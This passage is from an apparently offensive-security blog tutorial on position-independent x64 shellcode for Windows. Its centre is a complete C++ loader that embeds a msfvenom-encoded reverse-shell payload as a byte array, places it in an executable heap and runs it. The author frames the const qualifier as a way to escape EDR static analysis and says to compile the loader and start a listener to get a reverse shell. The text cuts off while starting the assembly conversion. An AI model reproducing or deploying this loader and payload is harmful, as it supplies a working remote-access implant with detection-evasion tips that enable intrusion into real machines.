  <li><strong>Necessity for ASLR Compatibility</strong>: Modern operating systems employ Address Space Layout Randomization (ASLR) to randomize memory addresses, making fixed-location shellcode unreliable or non-functional; PIC-friendly shellcode avoids absolute addresses, ensuring it executes correctly regardless of where it’s loaded in memory.</li>
  <li><strong>Enhanced Portability Across Environments</strong>: PIC shellcode doesn’t require relocation or patching at runtime, allowing it to run seamlessly in diverse scenarios like buffer overflows, heap sprays, or reflective DLL injection without architecture-specific tweaks, reducing development complexity.</li>
</ul>

<p>Conversely, PIC is frustrating for these three reasons (and many more I’m sure! 😸):</p>

<ul>
  <li><strong>Restricted Data Storage and Access</strong>: Unlike non-PIC code, PIC shellcode cannot rely on a static .data section for variables or constants due to potential relocation; developers must push values onto the runtime stack or use relative offsets (e.g., from RSP), increasing code size and complexity while risking stack overflows or alignment issues during execution.</li>
  <li><strong>Dynamic API Resolution Overhead</strong>: Direct imports from DLLs are impossible without base addresses, forcing runtime resolution techniques like walking the PEB/LDR structures or hashing API names, which adds significant instruction count (often 100+ bytes) and can fail in hardened environments with API set restrictions or obfuscation.</li>
  <li><strong>Limited Control Flow and Branching</strong>: Jumps and calls must use relative offsets (e.g., RIP-relative in x64), complicating conditional logic or loops that span large distances; this often leads to longer, less efficient code and errors in position-sensitive constructs like switch statements or error-prone disassembly during debugging.</li>
</ul>

<h2 id="the-c-template">The C++ Template</h2>

<p>So, we’ve got our work cut out for us, eh?  Well, I’m here to tell you it’s not so bad.  Then again, I write assembly for fun.  What’s that say about me? 😆  Let me go ahead and share our C++ template we will be building off of that will eventually execute fully via PIC friendly shellcode.  It’s fairly simple in design, and I intentionally coded it that way so this won’t be too difficult a pill to swallow.</p>

<p>We start with our <code class="language-plaintext highlighter-rouge">const uint8_t shellcode[]</code>.  I set this as read-only, using the <strong>const</strong> keyword / type qualifier, effectively making the shellcode immutable.  This is wise in my opinion as we don’t want EDR to immediately flag us just by glancing at our shellcode.  You would be surprised how much making your data read-only helps deter routine checks by EDR, especially static analysis.  I’ll keep talking but using the inline comments in the code itself, just FYI in case you want to keep following along as I walk through the C++ code 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;cstdint&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">// ---- 1. Shellcode (rev shell x64) msfvenom encoded ----</span>
    <span class="k">const</span> <span class="kt">uint8_t</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xe6</span><span class="p">,</span> <span class="mh">0xf1</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xf5</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xee</span><span class="p">,</span> <span class="mh">0xce</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x7b</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x55</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x59</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xa8</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x56</span><span class="p">,</span> <span class="mh">0xe8</span><span class="p">,</span> <span class="mh">0x14</span><span class="p">,</span> <span class="mh">0x40</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x3c</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span> <span class="p">};</span>


    <span class="n">SIZE_T</span> <span class="k">const</span> <span class="n">size</span> <span class="o">=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">shellcode</span><span class="p">);</span> <span class="c1">//this is simple enough, it just determines the size of our shellcode in bytes</span>

    <span class="c1">// Create executable heap (RWX by default)</span>
    <span class="c1">// as the comment above states, this is RWX by default.  I'm okay with that for the purposes of this exercise</span>
    <span class="c1">// I was originally going to you memory map sections for this first blog post of our series, but heaps don't get the recognition they deserve</span>
    <span class="c1">// One drawback to using the heap is it does have a limit to how much data you can toss at it.  Be mindful of that.  Though I'll admit I've never encountered a situation where I had shellcode large enough to fill it.</span>
    <span class="n">HANDLE</span> <span class="n">hHeap</span> <span class="o">=</span> <span class="n">HeapCreate</span><span class="p">(</span><span class="n">HEAP_CREATE_ENABLE_EXECUTE</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> 
    <span class="k">if</span> <span class="p">(</span><span class="n">hHeap</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"HeapCreate failed: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

   <span class="c1">// SIZE_T bufSize = shellcode size (506 bytes);</span>
    <span class="n">LPVOID</span> <span class="n">pBuffer</span> <span class="o">=</span> <span class="n">HeapAlloc</span><span class="p">(</span><span class="n">hHeap</span><span class="p">,</span> <span class="n">HEAP_ZERO_MEMORY</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">//zero out the heap in preparation for our shellcode</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">pBuffer</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
        <span class="n">printf</span><span class="p">(</span><span class="s">"HeapAlloc failed: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">GetLastError</span><span class="p">());</span>
        <span class="n">HeapDestroy</span><span class="p">(</span><span class="n">hHeap</span><span class="p">);</span>
        <span class="k">return</span> <span class="mi">1</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="n">RtlMoveMemory</span><span class="p">(</span><span class="n">pBuffer</span><span class="p">,</span> <span class="n">shellcode</span><span class="p">,</span> <span class="n">size</span><span class="p">);</span> <span class="c1">//move our shellcode into the newly allocated heap</span>

    <span class="c1">// 4. Execute!</span>
    <span class="p">((</span><span class="kt">void</span><span class="p">(</span><span class="o">*</span><span class="p">)())</span><span class="n">pBuffer</span><span class="p">)();</span> <span class="c1">//execute it!</span>

     <span class="c1">// in case anywhere was curious, the strange function above means:</span>

     <span class="c1">// void = doesn't return anything from the function call</span>
     <span class="c1">// (*) = pointer to a function.  * means we will be dereferencing</span>
     <span class="c1">// () = no arguments passed to the function pointer</span>
     <span class="c1">// pBuffer = cast it to the location of our shellcode</span>

    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Go ahead and compile that and then setup your listener for localhost, port 9001.  If you do all that you’ll be greeted with a nice reverse shell</p>

<p><img width="713" height="538" alt="image" src="https://github.com/user-attachments/assets/00dcc260-84b4-4dce-a91d-91d3dc63b8dd" /></p>

<p>Now, the fun begins!  We need to start converting this to assembly, and then furthermore convert it all the way down to machine code / shellcode.  That starts………..NOW!!! 😺</p>

<h2 id="converting-to-x64-assembly">Converting to x64 Assembly</h2>

<p>Go ahead and start debugging your code using Visual Studio.  Go to <code class="language-plaintext highlighter-rouge">Debug</code> in the main menu toolbar, and select step over or press <code class="language-plaintext highlighter-rouge">F10</code> on your keyboard for a nice shortcut.  Keep going until you arrive at the <code class="language-plaintext highlighter-rouge">HeapCreate</code> API.  Also, make sure your disassembly window is visible.  Here’s what mine looks like:</p>

<p><img width="774" height="163" alt="image" src="https://github.com/user-attachments/assets/5f4bd419-c8b7-4ee1-a7a5-80e532cb93f9" /></p>

<p>Notice how we are setting up the parameters for our HeapCreate API before we call it.  This goes in a specific order, always:</p>

<ul>
  <li>RCX</li>
  <li>RDX</li>
  <li>R8</li>
  <li>R9</li>
  <li>Uses the stack beyond the R9 register if the API requires more parameters passed to it.</li>
  <li>Call API</li>
</ul>

<p>So, what are we doing here exactly?  Well, <code class="language-plaintext highlighter-rouge">HeapCreate</code> looks like the following:</p>

